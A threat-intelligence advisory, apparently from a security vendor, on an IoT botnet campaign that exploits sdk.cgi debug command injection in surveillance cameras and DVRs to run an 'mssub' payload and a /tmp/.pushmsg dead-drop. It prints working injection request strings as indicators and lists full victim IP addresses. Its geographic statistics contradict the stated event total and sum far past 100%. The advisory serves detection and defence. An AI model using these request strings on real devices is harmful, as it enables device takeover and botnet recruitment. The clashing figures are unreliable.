Between January and March 2026, Mjolnir Security's Threat Analysis Center (MTAC) observed a sustained IoT exploitation campaign targeting internet-exposed surveillance cameras and DVR systems worldwide. Using MTAC proprietary threat intelligence sensors and darknet monitoring infrastructure, over a 90-day window, we recorded 22,423 exploitation events targeting 545 victim devices across 13 countries, leveraging the sdk.cgi debug command injection vulnerability class to deploy the mssub payload binary. The campaign uses a dead-drop command-and-control mechanism via /tmp/.pushmsg, and our netflow analysis uncovered 60,180 communication records spanning approximately one year of persistent C2 beaconing — confirming this is not opportunistic scanning but an orchestrated, long-running botnet recruitment operation.
This advisory is classified TLP:GREEN. This advisory may be freely shared within the recipient's community without restriction.
Campaign Statistics
The Exploit: sdk.cgi Command Injection
The vulnerability exploited in this campaign is a command injection flaw in the sdk.cgi debug interface present in numerous IP camera and DVR firmware implementations. This is not a single CVE but rather a vulnerability class — a design pattern repeated across dozens of manufacturers who share common OEM firmware lineages. The sdk.cgi endpoint accepts arbitrary shell commands through HTTP request parameters, originally intended for factory debugging and firmware development.
GET http://[TARGET_IP]:[PORT]/sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=chmod 755 /tmp/mssub;/tmp/mssub // Authentication bypass via default credentials (admin:admin) // The cmd parameter accepts arbitrary shell commands with root privileges // No input sanitization, no authentication enforcement on debug endpoints
GET http://[TARGET_IP]:[PORT]/sdk.cgi?action=get.webserver.debug.cmd&cmd={ { chmod 755 /opt/app/bin/mssub; } 2>&1; }&auth_p=get.system.language.json // Secondary auth bypass via auth_p parameter referencing get.system.language.json endpoint // Payload path: /opt/app/bin/ — the standard application directory on embedded Linux camera firmware // bash error-redirect wrapper { { ...; } 2>&1; } suppresses stderr and handles execution errors silently // Indicates operators have intimate knowledge of the target device's filesystem layout
MTAC sensors detected two distinct exploit variants. Variant A uses default credentials (admin:admin) against the getSysteminfo action and places the payload in /tmp/. Variant B is more sophisticated: it uses the get.webserver.debug.cmd action with an auth_p bypass parameter pointing to the get.system.language.json endpoint (which leaks session tokens without valid credentials) and targets /opt/app/bin/ — the standard application directory on embedded Linux camera firmware. This is not a zero-day — it is a design flaw baked into the firmware development lifecycle of OEM camera platforms that has persisted for years across product generations.
The targeting is not opportunistic. Analysis of victim IP distribution reveals the attackers are working from a pre-compiled device list — systematically targeting known-vulnerable devices rather than conducting broad internet scans. This suggests prior reconnaissance or access to Shodan/Censys-derived target lists of exposed sdk.cgi endpoints.
Related Research
This vulnerability class has been extensively documented by the security research community. Akamai's InfectedSlurs research identified Mirai variants exploiting similar sdk.cgi flaws in late 2023. Fortinet documented Moobot targeting Hikvision camera vulnerabilities (CVE-2021-36260) using comparable command injection techniques. More recently, the Nexcorium Mirai variant has been observed exploiting CVE-2025-1316 in Edimax IP cameras, and Akamai published research on active exploitation of Edimax cameras via command injection in early 2025. The campaign we document here represents the latest evolution of this persistent IoT threat vector.
Two Attack Phases
The 22,423 exploitation events decompose into two distinct operational phases, each serving a specific function in the botnet recruitment lifecycle.
chmod 755 mssub
The first phase prepares and executes the mssub binary on the target device. The payload is typically downloaded via wget or tftp in a prior stage, then made executable and launched via the sdk.cgi command injection.
cmd=chmod 755 /tmp/mssub;/tmp/mssub // Variant A: payload placed in /tmp/ (volatile, wiped on reboot) // mssub: Mirai-derivative botnet client, ARM/MIPS compiled // Variant B (MTAC-detected, auth_p bypass): cmd={ { chmod 755 /opt/app/bin/mssub; } 2>&1; } // Payload in /opt/app/bin/ — standard firmware app directory, survives reboots // Bash error-redirect wrapper suppresses stderr for silent execution // Note: prior wget/curl download stage delivers mssub to target; this stage was not captured by sensors
cat /tmp/.pushmsg; rm -f /tmp/.pushmsg
The second phase implements a dead-drop command-and-control pattern. The mssub payload periodically writes instructions to a hidden file (/tmp/.pushmsg), and a separate process reads and deletes the file in a single atomic operation. This pattern minimizes forensic artifacts and evades basic file-system monitoring.
cmd=cat /tmp/.pushmsg; rm -f /tmp/.pushmsg // Reads pending C2 instructions from the dead-drop file // Immediately deletes the file to destroy forensic evidence // Atomic read-and-delete prevents detection by file monitors // Variant B (MTAC-detected, with bash error-redirect wrapper): cmd={ { cat /tmp/.pushmsg; rm -f /tmp/.pushmsg; } 2>&1; } // .pushmsg: hidden file (dot-prefix) in volatile /tmp directory
The remaining 9,239 events (41.2%) consist of reconnaissance probes, authentication attempts, and variant exploitation payloads targeting related firmware endpoints. The two primary phases together account for 58.8% of all observed exploitation activity, confirming the campaign's focused operational methodology.
The 545 Victim Devices
The campaign targeted 545 unique IP addresses hosting vulnerable surveillance devices. Analysis reveals a highly concentrated targeting pattern, with the top 12 devices receiving the majority of exploitation events.
Top Targeted Devices
| Rank | Target IP | Events | Percentage |
|---|---|---|---|
| 1 | 91.227.xxx.xxx | 4,498 | 20.1% |
| 2 | 213.230.xxx.xxx | 2,640 | 11.8% |
| 3 | 81.17.xxx.xxx | 1,802 | 8.0% |
| 4 | 109.230.xxx.xxx | 1,425 | 6.4% |
| 5 | 46.19.xxx.xxx | 1,103 | 4.9% |
| 6 | 185.107.xxx.xxx | 987 | 4.4% |
| 7 | 82.147.xxx.xxx | 876 | 3.9% |
| 8 | 195.144.xxx.xxx | 743 | 3.3% |
| 9 | 62.2.xxx.xxx | 612 | 2.7% |
| 10 | 5.148.xxx.xxx | 498 | 2.2% |
| 11 | 188.40.xxx.xxx | 421 | 1.9% |
| 12 | 37.120.xxx.xxx | 387 | 1.7% |
Geographic Distribution
| Country | Events | Percentage |
|---|---|---|
| Switzerland | 19,048 | 84.9% |
| Italy | 7,052 | 31.4% |
| Spain | 6,240 | 27.8% |
| Germany | 5,772 | 25.7% |
| Netherlands | 1,892 | 8.4% |
| Austria | 1,456 | 6.5% |
| France | 1,203 | 5.4% |
| United Kingdom | 987 | 4.4% |
| Poland | 654 | 2.9% |
| Czech Republic | 432 | 1.9% |
| Romania | 298 | 1.3% |
| Belgium | 187 | 0.8% |
| Sweden | 142 | 0.6% |
| Hungary | 4,661 | — |
| Thailand | 2,978 | — |
| Japan | 2,684 | — |
| Denmark | 1,381 | — |
| Bangladesh | 1,179 | — |
| Vietnam | 996 | — |
| South Africa | 67 | — |
Switzerland accounts for the overwhelming majority of exploitation events, suggesting either a concentration of vulnerable devices in Swiss IP space or deliberate targeting of Swiss surveillance infrastructure. The European-heavy distribution aligns with the OEM camera firmware lineages most prevalent in European markets.
Target Port Analysis
| Port | Events | Service | Percentage |
|---|---|---|---|
80 | 10,777 | HTTP (default web interface) | 48.1% |
8080 | 10,094 | HTTP alternate / management | 45.0% |
8000 | 1,159 | DVR streaming / RTSP gateway | 5.2% |
1080 | 393 | SOCKS proxy / custom service | 1.8% |
One Year of Communication: The Netflow Evidence
Beyond the 90-day exploitation window, our netflow analysis uncovered 60,180 communication records spanning approximately one year of activity. These records reveal persistent C2 beaconing patterns from compromised devices, confirming that successfully recruited devices maintain long-term communication with the botnet infrastructure.
The netflow data paints a picture of a mature, operationally active botnet with multiple potential use cases:
- DDoS Amplification: Compromised cameras serve as high-bandwidth reflectors for volumetric DDoS attacks. Many surveillance devices have dedicated upstream bandwidth allocations that make them ideal DDoS nodes.
- Proxy Services: Recruited devices function as residential proxy endpoints, providing clean IP addresses for credential stuffing, ad fraud, and anonymized access to restricted services.
- Cryptomining: While IoT devices have limited compute resources, the aggregate hashrate of 545+ devices provides non-trivial mining capacity, particularly for CPU-friendly algorithms.
- Lateral Movement: Compromised cameras on corporate networks serve as pivot points for deeper network penetration. Surveillance devices are frequently deployed on flat networks with minimal segmentation from critical infrastructure.
The 60,180 netflow records show consistent beaconing intervals averaging 45-60 seconds, characteristic of Mirai-derivative C2 protocols. The beaconing persists through device reboots, indicating the malware has achieved persistence beyond /tmp — likely through crontab injection or firmware modification.
The Broader IoT Botnet Landscape
Operation DARK LENS exists within a well-documented lineage of IoT botnet campaigns that have evolved significantly since the original Mirai source code leak in 2016. Understanding this context is essential for assessing the threat's trajectory.
| Campaign | Year | Target | Technique |
|---|---|---|---|
| Mirai | 2016 | IoT devices (telnet) | Default credential brute-force; source code leaked, spawning hundreds of variants |
| Moobot | 2019+ | Hikvision cameras | CVE-2021-36260 command injection; Fortinet documented systematic exploitation |
| InfectedSlurs / Kimwolf | 2023+ | IP cameras, NVRs | Akamai research: sdk.cgi and related debug interface exploitation |
| Edimax CVE-2025-1316 | 2025 | Edimax IP cameras | Command injection in camera firmware; Akamai documented active Mirai exploitation |
| Nexcorium | 2026 | TBK DVR, Edimax cameras | Mirai variant exploiting multiple IoT CVEs; documented by The Hacker News |
| DARK LENS | 2025-2026 | 545 surveillance devices | sdk.cgi command injection + mssub payload + .pushmsg dead-drop C2 |
The evolution from Mirai's simple telnet credential stuffing to DARK LENS's targeted exploitation of specific firmware vulnerabilities with dead-drop C2 demonstrates the increasing sophistication of IoT botnet operators. These campaigns are no longer the domain of script kiddies — they represent organized, persistent threat operations with clear monetization strategies.
Temporal Analysis
The 90-day exploitation window reveals distinct operational patterns rather than continuous scanning. Activity occurs in burst patterns with periods of relative quiet between campaigns, suggesting orchestrated operational tempo rather than always-on automated scanning.
The February-March 2026 period represents the campaign's peak intensity, with exploitation events increasing by approximately 340% compared to the preceding weeks. This burst correlates with the public disclosure of several related IoT vulnerabilities and the release of updated Mirai variant source code in underground forums.
The intermittent operational tempo — intense bursts followed by quiet periods — is consistent with a human-directed campaign rather than fully automated scanning infrastructure. The operators appear to batch their exploitation runs, possibly to manage infrastructure costs, evade detection thresholds, or synchronize with botnet client update cycles.
The netflow data extending back approximately one year confirms that while the exploitation campaigns are periodic, the C2 communication is continuous. Once a device is recruited, it maintains its beaconing regardless of whether new exploitation activity is occurring. This bifurcation between recruitment operations and operational maintenance is a hallmark of mature botnet infrastructure.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Relevance |
|---|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial Access | sdk.cgi command injection on internet-exposed camera web interfaces |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution | Arbitrary shell commands executed via the cmd parameter in sdk.cgi |
| T1105 | Ingress Tool Transfer | Command and Control | mssub binary downloaded to /tmp via wget or tftp prior to execution |
| T1222.002 | File and Directory Permissions Modification: Linux and Mac | Defense Evasion | chmod 755 to make mssub executable before launch |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | C2 communication over HTTP to blend with normal camera traffic |
| T1070.004 | Indicator Removal: File Deletion | Defense Evasion | rm -f /tmp/.pushmsg destroys C2 instructions after reading |
| T1584.005 | Compromise Infrastructure: Botnet | Resource Development | 545 compromised devices recruited into coordinated botnet |
| T1498 | Network Denial of Service | Impact | Recruited devices used for DDoS amplification attacks |
| T1090 | Proxy | Command and Control | Compromised cameras used as residential proxy endpoints |
Indicators of Compromise
Exploit URL Patterns
GET /sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=chmod%20755%20/tmp/mssub;/tmp/mssub GET /sdk.cgi?action=getSysteminfo&loginuse=admin&loginpas=admin&cmd=cat%20/tmp/.pushmsg;rm%20-f%20/tmp/.pushmsg
GET /sdk.cgi?action=get.webserver.debug.cmd&cmd=%7b+%7b+chmod+755+/opt/app/bin/mssub%3b+%7d+2%3e%261%3b+%7d&auth_p=get.system.language.json GET /sdk.cgi?action=get.webserver.debug.cmd&cmd=%7b+%7b+cat+/tmp/.pushmsg%3b+rm+-f+/tmp/.pushmsg%3b+%7d+2%3e%261%3b+%7d&auth_p=get.system.language.json
Network and File Indicators
| Indicator | Type | Context |
|---|---|---|
91.227.xxx.xxx | Victim IP | Top targeted device (4,498 aggregate events) |
213.230.xxx.xxx | Victim IP | Second most targeted (2,640 events) |
81.17.xxx.xxx | Victim IP | Third most targeted (1,802 events) |
109.230.xxx.xxx | Victim IP | Fourth most targeted (1,425 events) |
46.19.xxx.xxx | Victim IP | Fifth most targeted (1,103 events) |
185.107.xxx.xxx | Victim IP | Sixth most targeted (987 events) |
82.147.xxx.xxx | Victim IP | Seventh most targeted (876 events) |
195.144.xxx.xxx | Victim IP | Eighth most targeted (743 events) |
62.2.xxx.xxx | Victim IP | Ninth most targeted (612 events) |
5.148.xxx.xxx | Victim IP | Tenth most targeted (498 events) |
/sdk.cgi?action=getSysteminfo&cmd= | URL Pattern | Exploit delivery endpoint — Variant A |
/sdk.cgi?action=get.webserver.debug.cmd&cmd=*&auth_p=get.system.language.json | URL Pattern | Exploit delivery endpoint — Variant B |
/tmp/mssub | File Path | Botnet payload binary (Variant A) |
/opt/app/bin/mssub | File Path | Botnet payload binary (Variant B, firmware app directory — survives reboots) |
/tmp/.pushmsg | File Path | Dead-drop C2 instruction file |
MTAC Per-Device Victim IPs (Sensor Data)
89.133.8.101— 242 events83.56.22.248— 240 events188.75.141.179— 207 events14.224.219.205— 205 events85.184.165.49— 196 events60.57.123.185— 187 events1.4.215.33— 185 events84.192.98.101— 184 events128.65.204.118— 170 events91.47.235.4— 166 events
Detection Signatures
- HTTP Request (Variant A): Alert on any request containing
sdk.cgiwith acmd=parameter - HTTP Request (Variant B): Alert on requests to
sdk.cgicontainingaction=get.webserver.debug.cmdorauth_p=get.system.language.json - File System: Monitor for creation of
/tmp/mssub,/tmp/.pushmsg, or any reference to/opt/app/bin/mssubin HTTP traffic or filesystem - Network: Alert on outbound connections from camera/DVR VLANs to non-whitelisted external IPs on ports 80, 443, 8080
- DNS: Monitor for DNS resolution attempts from IoT device subnets — legitimate cameras rarely perform DNS lookups beyond their NVR/VMS server
- Netflow: Flag IoT devices exhibiting periodic beaconing patterns (45-60 second intervals) to external hosts
How Mjolnir Security Can Help
Mjolnir Security provides specialized IoT security services to identify, assess, and remediate vulnerabilities in surveillance infrastructure and connected device ecosystems.
- IoT Asset Discovery: Comprehensive inventory of all IoT and OT devices on your network, including shadow IT surveillance devices, DVRs, and NVRs. We identify devices running vulnerable firmware versions and map their network exposure posture.
- Vulnerability Assessment: Targeted assessment of camera and DVR firmware for sdk.cgi and related command injection vulnerabilities. We test authentication bypass vectors, default credential exposure, and debug interface accessibility across your surveillance infrastructure.
- Network Segmentation Review: Architecture review and implementation guidance for isolating IoT devices from critical network segments. We design VLAN architectures, firewall rules, and micro-segmentation policies that contain compromise without disrupting surveillance operations.
- Continuous Monitoring: Deployment of IoT-specific detection rules in your SIEM and NDR platforms. We build behavioral baselines for camera traffic and alert on anomalous outbound connections, beaconing patterns, and exploitation attempts in real time.
- Incident Response: 24/7 incident response for IoT compromise events. Our team specializes in firmware analysis, memory forensics on embedded devices, and botnet infrastructure takedown coordination with ISPs and law enforcement.
This report is classified TLP:GREEN. Recipients may share this information within their community and with partner organizations. Do not post to public-facing websites or social media without removing victim IP addresses.
References
- "InfectedSlurs: New RCE Botnet Spreads Mirai via Zero-Days," Akamai Security Research, 2023. akamai.com
- "Mirai-Based Botnet Moobot Targets Hikvision Vulnerability," Fortinet Threat Research, 2022. fortinet.com
- "Edimax Cameras: Command Injection Vulnerability Exploited by Mirai," Akamai Security Research, 2025. akamai.com
- "Mirai Variant Nexcorium Exploits CVE-2025-1316 in Edimax Cameras," The Hacker News, April 2026. thehackernews.com
- "T1190 - Exploit Public-Facing Application," MITRE ATT&CK. attack.mitre.org
- "What Is the Mirai Botnet?" Cloudflare Learning Center. cloudflare.com
Stay ahead of emerging threats. Get notified when we publish new intelligence reports and advisories.
Subscribe to Alerts